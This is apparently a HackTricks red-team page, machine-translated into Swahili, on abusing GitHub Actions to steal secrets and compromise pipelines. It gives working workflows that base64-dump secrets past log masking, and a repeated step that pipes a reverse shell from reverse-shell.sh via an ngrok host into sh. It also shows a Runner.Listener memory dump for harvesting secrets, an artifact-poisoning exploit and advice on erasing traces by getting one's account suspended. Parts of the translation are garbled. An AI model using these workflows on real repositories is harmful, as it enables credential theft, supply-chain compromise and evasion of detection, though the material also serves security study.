Abusing Github Actions

Reading time: 19 minutes

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

Basic Information

Katika ukurasa huu utaona:

  • Muhtasari wa athari zote za mshambuliaji anayefaulu kupata ufikiaji wa Github Action
  • Njia tofauti za kupata ufikiaji wa hatua:
  • Kuwa na idhini za kuunda hatua hiyo
  • Kunyanyasa michocheo inayohusiana na ombi la kuvuta
  • Kunyanyasa mbinu nyingine za ufikiaji wa nje
  • Pivoting kutoka kwa repo iliyoshambuliwa tayari
  • Hatimaye, sehemu kuhusu mbinu za baada ya kunyanyasa ili kunyanyasa hatua kutoka ndani (kwa sababu ya athari zilizotajwa)

Impacts Summary

Kwa utangulizi kuhusu Github Actions angalia taarifa za msingi.

Ikiwa unaweza kutekeleza msimbo wowote katika GitHub Actions ndani ya repo, unaweza kuwa na uwezo wa:

  • Kuhujumu siri zilizowekwa kwenye pipeline na kunyanyasa mamlaka ya pipeline kupata ufikiaji usioidhinishwa kwa majukwaa ya nje, kama vile AWS na GCP.
  • Kuhujumu matumizi na vitu vingine.
  • Ikiwa pipeline inapeleka au kuhifadhi mali, unaweza kubadilisha bidhaa ya mwisho, kuwezesha shambulio la mnyororo wa usambazaji.
  • Kutekeleza msimbo katika wafanyakazi maalum ili kunyanyasa nguvu za kompyuta na pivot kwa mifumo mingine.
  • Kufuta msimbo wa repo, kulingana na ruhusa zinazohusiana na GITHUB_TOKEN.

GITHUB_TOKEN

Hii "siri" (inayotoka ${{ secrets.GITHUB_TOKEN }} na ${{ github.token }}) inatolewa wakati msimamizi anapowezesha chaguo hili:

Token hii ni sawa na ile ambayo Github Application itatumia, hivyo inaweza kufikia mwisho sawa: https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps

warning

Github inapaswa kutoa mchakato ambao unaruhusu ufikiaji wa kuvuka-repo ndani ya GitHub, ili repo iweze kufikia repo nyingine za ndani kwa kutumia GITHUB_TOKEN.

Unaweza kuona idhini zinazowezekana za token hii katika: https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token

Kumbuka kwamba token inaisha baada ya kazi kukamilika.
Token hizi zinaonekana kama hii: ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7

Mambo kadhaa ya kuvutia unayoweza kufanya na token hii:

bash
# Merge PR
curl -X PUT \
https://api.github.com/repos/<org_name>/<repo_name>/pulls/<pr_number>/merge \
-H "Accept: application/vnd.github.v3+json" \
--header "authorization: Bearer $GITHUB_TOKEN" \
--header "content-type: application/json" \
-d "{\"commit_title\":\"commit_title\"}"

caution

Kumbuka kwamba katika matukio kadhaa utaweza kupata tokens za mtumiaji wa github ndani ya mazingira ya Github Actions au katika siri. Tokens hizi zinaweza kukupa mamlaka zaidi juu ya hifadhi na shirika.

Orodha ya siri katika matokeo ya Github Action
yaml
name: list_env
on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- "**"
push: # Run it when a push is made to a branch
branches:
- "**"
jobs:
List_env:
runs-on: ubuntu-latest
steps:
- name: List Env
# Need to base64 encode or github will change the secret value for "***"
run: sh -c 'env | grep "secret_" | base64 -w0'
env:
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
Pata shell ya kurudi na siri
yaml
name: revshell
on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- "**"
push: # Run it when a push is made to a branch
branches:
- "**"
jobs:
create_pull_request:
runs-on: ubuntu-latest
steps:
- name: Get Rev Shell
run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh'
env:
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}

Inawezekana kuangalia ruhusa zilizotolewa kwa Github Token katika hifadhi za watumiaji wengine kwa kuangalia kumbukumbu za vitendo:

Utekelezaji Ulioidhinishwa

note

Hii ingekuwa njia rahisi zaidi ya kuathiri vitendo vya Github, kwani kesi hii inadhani kuwa una ufikiaji wa kuunda hifadhi mpya katika shirika, au una haki za kuandika juu ya hifadhi.

Ikiwa uko katika hali hii unaweza tu kuangalia Post Exploitation techniques.

Utekelezaji kutoka kwa Uundaji wa Hifadhi

Katika kesi ambapo wanachama wa shirika wanaweza kuunda hifadhi mpya na unaweza kutekeleza vitendo vya github, unaweza kuunda hifadhi mpya na kuiba siri zilizowekwa katika kiwango cha shirika.

Utekelezaji kutoka kwa Tawi Jipya

Ikiwa unaweza kuunda tawi jipya katika hifadhi ambayo tayari ina Github Action iliyowekwa, unaweza kubadilisha hiyo, kupakia maudhui, na kisha kutekeleza kitendo hicho kutoka kwa tawi jipya. Kwa njia hii unaweza kuondoa siri za hifadhi na kiwango cha shirika (lakini unahitaji kujua zinaitwaje).

Unaweza kufanya kitendo kilichobadilishwa kiweze kutekelezwa kwa mikono, wakati PR inaundwa au wakati kodi fulani inasukumwa (kulingana na jinsi unavyotaka kuwa na kelele):

yaml
on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- master
push: # Run it when a push is made to a branch
branches:
- current_branch_name
# Use '**' instead of a branh name to trigger the action in all the cranches

Forked Execution

note

Kuna vichocheo tofauti ambavyo vinaweza kumruhusu mshambuliaji kutekeleza Github Action ya hifadhi nyingine. Ikiwa vitendo hivyo vinavyoweza kuchochewa havijakamilika vizuri, mshambuliaji anaweza kuwa na uwezo wa kuvunja usalama wao.

pull_request

Vichocheo vya kazi pull_request vitatekeleza kazi kila wakati ombi la kuvuta linapopokelewa na baadhi ya visingizio: kwa kawaida ikiwa ni mara ya kwanza unapo shirikiana, baadhi ya wasimamizi watahitaji kuthibitisha kuendesha kazi hiyo:

note

Kwa kuwa kikomo cha kawaida ni kwa watoaji wa mara ya kwanza, unaweza kuchangia kurekebisha hitilafu halali/typo na kisha kutuma PR nyingine ili kutumia haki zako mpya za pull_request.

Nilijaribu hii na haifanyi kazi: Chaguo lingine lingekuwa kuunda akaunti kwa jina la mtu ambaye alichangia kwenye mradi na kufuta akaunti yake.

Zaidi ya hayo, kwa kawaida inazuia ruhusa za kuandika na ufikiaji wa siri kwa hifadhi lengwa kama ilivyoelezwa katika docs:

Kwa kutengwa kwa GITHUB_TOKEN, siri hazipitishwi kwa mchezaji wakati kazi inachochewa kutoka hifadhi iliyoforked. GITHUB_TOKEN ina ruhusa za kusoma tu katika ombi la kuvuta kutoka hifadhi zilizoforked.

Mshambuliaji anaweza kubadilisha ufafanuzi wa Github Action ili kutekeleza mambo yasiyo na mipaka na kuongeza vitendo vya kiholela. Hata hivyo, hataweza kuiba siri au kufuta repo kwa sababu ya vikwazo vilivyotajwa.

caution

Ndio, ikiwa mshambuliaji atabadilisha katika PR github action itakayochochewa, Github Action yake itakuwa ndiyo itakayotumika na si ile kutoka hifadhi ya asili!

Kwa kuwa mshambuliaji pia anadhibiti msimbo unaotekelezwa, hata kama hakuna siri au ruhusa za kuandika kwenye GITHUB_TOKEN, mshambuliaji anaweza kwa mfano kupakia vitu vya uharibifu.

pull_request_target

Vichocheo vya kazi pull_request_target vina ruhusa za kuandika kwa hifadhi lengwa na ufikiaji wa siri (na havitaki ruhusa).

Kumbuka kwamba vichocheo vya kazi pull_request_target vinakimbia katika muktadha wa msingi na si katika ile iliyotolewa na PR (ili kutoendesha msimbo usioaminika). Kwa maelezo zaidi kuhusu pull_request_target angalia docs.
Zaidi ya hayo, kwa maelezo zaidi kuhusu matumizi haya hatari maalum angalia hii blogu ya github.

Inaweza kuonekana kuwa kwa sababu kazi inayotekelezwa ni ile iliyofafanuliwa katika msingi na siyo katika PR ni salama kutumia pull_request_target, lakini kuna mifano michache ambapo si salama.

Na hii itakuwa na ufikiaji wa siri.

workflow_run

Vichocheo vya workflow_run vinaruhusu kuendesha kazi kutoka nyingine wakati imekamilika, imeombwa au inaendelea.

Katika mfano huu, kazi imewekwa ili kuendesha baada ya kazi tofauti "Run Tests" kukamilika:

yaml
on:
workflow_run:
workflows: [Run Tests]
types:
- completed

Moreover, according to the docs: The workflow started by the workflow_run event is able to access secrets and write tokens, even if the previous workflow was not.

This kind of workflow could be attacked if it's depending on a workflow that can be triggered by an external user via pull_request or pull_request_target. A couple of vulnerable examples can be found this blog. The first one consist on the workflow_run triggered workflow downloading out the attackers code: ${{ github.event.pull_request.head.sha }}
The second one consist on passing an artifact from the untrusted code to the workflow_run workflow and using the content of this artifact in a way that makes it vulnerable to RCE.

workflow_call

TODO

TODO: Check if when executed from a pull_request the used/downloaded code if the one from the origin or from the forked PR

Abusing Forked Execution

Tumezungumzia njia zote ambazo mshambuliaji wa nje anaweza kuweza kufanya workflow ya github ifanye kazi, sasa hebu tuangalie jinsi utekelezaji huu, ikiwa umewekwa vibaya, unaweza kutumiwa vibaya:

Untrusted checkout execution

Katika kesi ya pull_request, workflow itatekelezwa katika muktadha wa PR (hivyo itatekeleza msimbo wa PR mbaya), lakini mtu anahitaji kuidhinisha kwanza na itatekelezwa kwa baadhi ya mipaka.

Katika kesi ya workflow inayotumia pull_request_target au workflow_run inayotegemea workflow ambayo inaweza kuanzishwa kutoka pull_request_target au pull_request msimbo kutoka kwa repo ya asili utafanikiwa, hivyo mshambuliaji cannot control the executed code.

caution

Hata hivyo, ikiwa action ina kuangalia PR wazi ambayo itachukua msimbo kutoka PR (na sio kutoka msingi), itatumia msimbo ulio chini ya udhibiti wa mshambuliaji. Kwa mfano (angalia mstari wa 12 ambapo msimbo wa PR unashushwa):

# INSECURE. Provided as an example only.
on:
pull_request_target

jobs:
build:
name: Build and test
runs-on: ubuntu-latest
steps:
    - uses: actions/checkout@v2
      with:
        ref: ${{ github.event.pull_request.head.sha }}

- uses: actions/setup-node@v1
- run: |
npm install
npm build

- uses: completely/fakeaction@v2
with:
arg1: ${{ secrets.supersecret }}

- uses: fakerepo/comment-on-pr@v1
with:
message: |
Thank you!

Msimbo unaoweza kuwa usioaminika unatekelezwa wakati wa npm install au npm build kwani skripti za kujenga na pakiti zinazohusishwa zinadhibitiwa na mwandishi wa PR.

warning

Dork ya github kutafuta vitendo vya hatari ni: event.pull_request pull_request_target extension:yml hata hivyo, kuna njia tofauti za kuweka kazi zinazoweza kutekelezwa kwa usalama hata kama hatua imewekwa kwa njia isiyo salama (kama kutumia masharti kuhusu nani ni mchezaji anayezalisha PR).

Context Script Injections

Kumbuka kuwa kuna baadhi ya muktadha wa github ambao thamani zao zina dhibitiwa na mtumiaji anayezalisha PR. Ikiwa hatua ya github inatumia hiyo data kutekeleza chochote, inaweza kusababisha utekelezaji wa msimbo wa kiholela:

Gh Actions - Context Script Injections

GITHUB_ENV Script Injection

Kutoka kwenye nyaraka: Unaweza kufanya kigezo cha mazingira kiweze kupatikana kwa hatua zozote zinazofuata katika kazi ya workflow kwa kufafanua au kuboresha kigezo cha mazingira na kuandika hii kwenye GITHUB_ENV faili ya mazingira.

Ikiwa mshambuliaji anaweza kuchanganya thamani yoyote ndani ya hii env kigezo, anaweza kuchanganya vigezo vya mazingira ambavyo vinaweza kutekeleza msimbo katika hatua zinazofuata kama LD_PRELOAD au NODE_OPTIONS.

Kwa mfano (hii na hii), fikiria workflow ambayo inategemea artifact iliyopakiwa kuhifadhi maudhui yake ndani ya GITHUB_ENV kigezo cha mazingira. Mshambuliaji anaweza kupakia kitu kama hiki ili kukiathiri:

Vulnerable Third Party Github Actions

dawidd6/action-download-artifact

Kama ilivyotajwa katika hiki blogu, hatua hii ya Github inaruhusu kufikia artifacts kutoka kwa workflows tofauti na hata hifadhi.

Tatizo kubwa ni kwamba ikiwa path parameter haijawekwa, artifact inachukuliwa katika saraka ya sasa na inaweza kubadilisha faili ambazo zinaweza kutumika baadaye au hata kutekelezwa katika workflow. Kwa hivyo, ikiwa Artifact ina hatari, mshambuliaji anaweza kutumia hii kuathiri workflows zingine zinazotegemea Artifact.

Mfano wa workflow hatari:

yaml
on:
workflow_run:
workflows: ["some workflow"]
types:
- completed

jobs:
success:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v2
- name: download artifact
uses: dawidd6/action-download-artifact
with:
workflow: ${{ github.event.workflow_run.workflow_id }}
name: artifact
- run: python ./script.py
with:
name: artifact
path: ./script.py

Hii inaweza kushambuliwa kwa kutumia mchakato huu:

yaml
name: "some workflow"
on: pull_request

jobs:
upload:
runs-on: ubuntu-latest
steps:
- run: echo "print('exploited')" > ./script.py
- uses actions/upload-artifact@v2
with:
name: artifact
path: ./script.py

Mipango Mingine ya Nje

Utekaji wa Repo ya Namespace Iliyofutwa

Ikiwa akaunti inabadilisha jina lake, mtumiaji mwingine anaweza kujiandikisha kwa akaunti hiyo baada ya muda fulani. Ikiwa hazina ilikuwa na nyota chini ya 100 kabla ya kubadilisha jina, Github itaruhusu mtumiaji mpya aliyejiandikisha kwa jina hilo kuunda hazina yenye jina sawa na ile iliyofutwa.

caution

Hivyo basi ikiwa hatua inatumia hazina kutoka kwa akaunti isiyopo, bado inawezekana kwamba mshambuliaji anaweza kuunda akaunti hiyo na kuathiri hatua hiyo.

Ikiwa hazina nyingine zilikuwa zikitumika kutegemea kutoka kwa hazina za mtumiaji huyu, mshambuliaji ataweza kuzikamata. Hapa kuna maelezo kamili zaidi: https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/


Mabadiliko ya Repo

note

Katika sehemu hii tutazungumzia mbinu ambazo zitaruhusu kubadilisha kutoka repo moja hadi nyingine tukidhani tuna aina fulani ya ufikiaji kwenye ya kwanza (angalia sehemu iliyopita).

Upoison wa Cache

Cache inahifadhiwa kati ya mifumo ya kazi katika tawi moja. Hii ina maana kwamba ikiwa mshambuliaji ataathiri kifurushi ambacho kisha kinahifadhiwa kwenye cache na kupakuliwa na kutekelezwa na mifumo ya kazi yenye mamlaka zaidi, ataweza pia kuathiri mfumo huo wa kazi.

GH Actions - Cache Poisoning

Upoison wa Kazi

Mifumo ya kazi inaweza kutumia kazi kutoka mifumo mingine ya kazi na hata hazina, ikiwa mshambuliaji anafanikiwa kuathiri Github Action inayopakia kazi ambayo baadaye inatumika na mfumo mwingine wa kazi, anaweza kuathiri mifumo mingine ya kazi:

Gh Actions - Artifact Poisoning


Baada ya Utekelezaji kutoka kwa Hatua

Kufikia AWS na GCP kupitia OIDC

Angalia kurasa zifuatazo:

AWS - Federation Abuse

GCP - Federation Abuse

Kufikia siri

Ikiwa unachoma maudhui kwenye skripti, ni muhimu kujua jinsi unavyoweza kufikia siri:

  • Ikiwa siri au token imewekwa kwenye kigezo cha mazingira, inaweza kufikiwa moja kwa moja kupitia mazingira kwa kutumia printenv.
Orodha ya siri katika matokeo ya Github Action
yaml
name: list_env
on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- '**'
push: # Run it when a push is made to a branch
branches:
- '**'
jobs:
List_env:
runs-on: ubuntu-latest
steps:
- name: List Env
# Need to base64 encode or github will change the secret value for "***"
run: sh -c 'env | grep "secret_" | base64 -w0'
env:
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}

secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
Pata shell ya kurudi na siri
yaml
name: revshell
on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- "**"
push: # Run it when a push is made to a branch
branches:
- "**"
jobs:
create_pull_request:
runs-on: ubuntu-latest
steps:
- name: Get Rev Shell
run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh'
env:
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
  • Ikiwa siri inatumika moja kwa moja katika muktadha, skripti ya shell iliyotengenezwa inahifadhiwa kwenye diski na inapatikana.

cat /home/runner/work/_temp/*

- Kwa hatua za JavaScript, siri zinatumwa kupitia mabadiliko ya mazingira.
- ```bash
ps axe | grep node
  • Kwa hatua maalum, hatari inaweza kutofautiana kulingana na jinsi programu inavyotumia siri iliyoipata kutoka kwa hoja:
yaml
uses: fakeaction/publish@v3
with:
key: ${{ secrets.PUBLISH_KEY }}

Kutumia Runners Zilizojitegemea

Njia ya kutafuta ni zipi Github Actions zinazotekelezwa katika miundombinu isiyo ya github ni kutafuta runs-on: self-hosted katika usanidi wa yaml wa Github Action.

Runners zilizojitegemea zinaweza kuwa na ufikiaji wa habari nyeti zaidi, kwa mifumo mingine ya mtandao (nukta dhaifu katika mtandao? huduma ya metadata?) au, hata kama imejitengea na kuharibiwa, hatua zaidi ya moja zinaweza kufanywa kwa wakati mmoja na ile mbaya inaweza kuiba siri za nyingine.

Katika runners zilizojitegemea pia inawezekana kupata siri kutoka kwa _Runner.Listener_** mchakato** ambao utakuwa na siri zote za kazi katika hatua yoyote kwa kutupa kumbukumbu yake:

bash
sudo apt-get install -y gdb
sudo gcore -o k.dump "$(ps ax | grep 'Runner.Listener' | head -n 1 | awk '{ print $1 }')"

Angalia post hii kwa maelezo zaidi.

Github Docker Images Registry

Inawezekana kuunda hatua za Github ambazo zitajenga na kuhifadhi picha ya Docker ndani ya Github.
Mfano unaweza kupatikana katika yafuatayo yanayoweza kupanuliwa:

Github Action Build & Push Docker Image
yaml
[...]

- name: Set up Docker Buildx
uses: docker/setup-buildx-action@v1

- name: Login to GitHub Container Registry
uses: docker/login-action@v1
with:
registry: ghcr.io
username: ${{ github.repository_owner }}
password: ${{ secrets.ACTIONS_TOKEN }}

- name: Add Github Token to Dockerfile to be able to download code
run: |
sed -i -e 's/TOKEN=##VALUE##/TOKEN=${{ secrets.ACTIONS_TOKEN }}/g' Dockerfile

- name: Build and push
uses: docker/build-push-action@v2
with:
context: .
push: true
tags: |
ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:latest
ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:${{ env.GITHUB_NEWXREF }}-${{ github.sha }}

[...]

Kama unavyoona katika msimbo wa awali, usajili wa Github unahifadhiwa katika ghcr.io.

Mtumiaji mwenye ruhusa za kusoma juu ya repo basi ataweza kupakua Picha ya Docker akitumia tokeni ya ufikiaji wa kibinafsi:

bash
echo $gh_token | docker login ghcr.io -u <username> --password-stdin
docker pull ghcr.io/<org-name>/<repo_name>:<tag>

Kisha, mtumiaji anaweza kutafuta siri zilizovuja katika tabaka za picha za Docker:

Docker Forensics - HackTricks

Taarifa nyeti katika kumbukumbu za Github Actions

Hata kama Github inajaribu kubaini thamani za siri katika kumbukumbu za hatua na kuepuka kuonyesha hizo, data nyeti nyingine ambazo zinaweza kuwa zimezalishwa katika utekelezaji wa hatua hiyo hazitafichwa. Kwa mfano, JWT iliyosainiwa kwa thamani ya siri haitafichwa isipokuwa imewekwa maalum.

Kufunika Nyayo Zako

(Teknolojia kutoka hapa) Kwanza kabisa, PR yoyote iliyoinuliwa inaonekana wazi kwa umma katika Github na kwa akaunti ya lengo ya GitHub. Katika GitHub kwa kawaida, hatuwezi kufuta PR ya mtandao, lakini kuna mabadiliko. Kwa akaunti za Github ambazo zime simamishwa na Github, PR zao zote zinafuta moja kwa moja na kuondolewa kutoka mtandao. Hivyo ili kuficha shughuli zako unahitaji ama kupata akaunti yako ya GitHub isimamishwe au kupata akaunti yako iwe na alama. Hii itaficha shughuli zako zote kwenye GitHub kutoka mtandao (kimsingi kuondoa PR zako zote za unyanyasaji)

Shirika katika GitHub lina ufanisi mkubwa katika kuripoti akaunti kwa GitHub. Unachohitaji kufanya ni kushiriki "mambo fulani" katika Issue na watakikisha akaunti yako imesimamishwa ndani ya masaa 12 :p na hapo umepata, umefanya unyanyasaji wako usionekane kwenye github.

warning

Njia pekee kwa shirika kugundua kuwa wamekuwa wakilengwa ni kuangalia kumbukumbu za GitHub kutoka SIEM kwani kutoka UI ya GitHub PR itafutwa.

Zana

Zana zifuatazo ni muhimu kutafuta michakato ya Github Action na hata kupata zile zenye udhaifu:

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks